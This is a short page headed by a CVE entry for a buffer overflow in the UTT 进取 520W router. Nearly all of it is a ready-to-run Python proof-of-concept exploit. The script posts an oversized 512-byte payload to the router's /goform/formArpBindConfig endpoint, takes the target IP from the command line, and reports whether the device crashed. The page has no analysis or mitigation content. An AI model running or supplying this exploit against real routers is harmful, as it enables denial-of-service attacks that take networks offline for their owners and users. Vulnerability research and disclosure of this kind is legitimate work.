CVE-2025-14141: UTT 进取 520W 路由器 strcpy 缓冲区溢出漏洞

#!/usr/bin/env python3 # CVE-2025-14141 PoC - UTT 进取 520W Buffer Overflow # Target: /goform/formArpBindConfig import requests import sys def exploit_buffer_overflow(target_ip, target_port=80): """ Exploit for CVE-2025-14141 UTT 进取 520W strcpy buffer overflow in /goform/formArpBindConfig Args: target_ip: Target router IP address target_port: Target router web port (default: 80) """ # Buffer size exceeded payload (adjust based on target) # Typical stack buffer size is 128-256 bytes, we use 512 bytes overflow_payload = "A" * 512 # Target URL url = f"http://{target_ip}:{target_port}/goform/formArpBindConfig" # Malicious POST data data = { "pools": overflow_payload, "form": "arpbind" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0" } try: print(f"[*] Sending exploit payload to {url}") print(f"[*] Payload length: {len(overflow_payload)} bytes") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Request sent, status code: {response.status_code}") # Check if device is responsive after exploit check_url = f"http://{target_ip}:{target_port}/" try: check_response = requests.get(check_url, timeout=5) if check_response.status_code == 200: print("[-] Device still responsive, may need larger payload") else: print("[+] Device appears to be affected (DoS successful)") except requests.exceptions.RequestException: print("[+] Device is down - buffer overflow successful (DoS)") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python3 cve-2025-14141-poc.py <target_ip> [port]") sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 80 exploit_buffer_overflow(target, port)